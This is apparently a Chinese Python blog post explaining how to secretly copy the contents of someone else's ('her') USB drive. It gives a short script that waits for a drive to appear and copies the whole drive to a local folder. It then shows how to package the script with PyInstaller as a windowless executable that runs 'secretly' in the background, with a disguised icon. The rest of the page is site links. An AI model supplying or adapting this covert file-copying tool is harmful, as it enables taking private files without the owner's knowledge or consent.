仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python实现在线程里运行scrapy的方法
Apr 07 Python
讲解Python中的递归函数
Apr 27 Python
python中global用法实例分析
Apr 30 Python
[原创]教女朋友学Python(一)运行环境搭建
Nov 29 Python
python复制文件到指定目录的实例
Apr 27 Python
Python3实现转换Image图片格式
Jun 21 Python
python模拟菜刀反弹shell绕过限制【推荐】
Jun 25 Python
python并发编程 Process对象的其他属性方法join方法详解
Aug 20 Python
Python 实现的 Google 批量翻译功能
Aug 26 Python
python logging 日志的级别调整方式
Feb 21 Python
Python3之乱码\xe6\x97\xa0\xe6\xb3\x95处理方式
May 11 Python
django创建css文件夹的具体方法
Jul 31 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
压力如何影响浓缩咖啡品质
2021/03/03 咖啡文化
Wordpress php 分页代码
2009/10/21 PHP
php读取文件内容的三种可行方法示例介绍
2014/02/08 PHP
PHP实现QQ空间自动回复说说的方法
2015/12/02 PHP
CodeIgniter辅助之第三方类库third_party用法分析
2016/01/20 PHP
PHP中strpos、strstr和stripos、stristr函数分析
2016/06/11 PHP
PHP实现的简单sha1加密功能示例
2017/08/27 PHP
php swoft框架实例用法
2020/12/22 PHP
FireFox与IE 下js兼容触发click事件的代码
2008/11/20 Javascript
预加载css或javascript的js代码
2010/04/23 Javascript
js中把JSON字符串转换成JSON对象最好的方法
2014/03/21 Javascript
JS+CSS实现滑动切换tab菜单效果
2015/08/25 Javascript
JavaScript获取页面中超链接数量的方法
2015/11/09 Javascript
jQuery插件EasyUI校验规则 validatebox验证框
2015/11/29 Javascript
ES6中class类用法实例浅析
2017/04/06 Javascript
javascript 正则表达式分组、断言详解
2017/04/20 Javascript
深入理解node.js之path模块
2017/05/03 Javascript
vue组件实现弹出框点击显示隐藏效果
2020/10/26 Javascript
一文快速了解JQuery中的AJAX
2019/05/31 jQuery
python实现清屏的方法
2015/04/30 Python
Python 网页解析HTMLParse的实例详解
2017/08/10 Python
Python设计模式之观察者模式原理与用法详解
2019/01/16 Python
Python绘图实现显示中文
2019/12/04 Python
tf.concat中axis的含义与使用详解
2020/02/07 Python
python实现ftp文件传输系统(案例分析)
2020/03/20 Python
Python日志器使用方法及原理解析
2020/09/27 Python
德国最大的婴儿用品网上商店:Kidsroom.de(支持中文)
2020/09/02 全球购物
美国健康和保健平台:healtop
2020/07/02 全球购物
亚运会口号
2014/06/20 职场文书
暑期培训班策划方案
2014/08/26 职场文书
家庭贫困证明书(3篇)
2014/09/15 职场文书
上诉答辩状范文
2015/05/22 职场文书
大学社团活动总结怎么写
2019/06/21 职场文书
微信小程序实现拍照和相册选取图片
2021/05/09 Javascript
vue+spring boot实现校验码功能
2021/05/27 Vue.js
使用Cargo工具高效创建Rust项目
2022/08/14 Javascript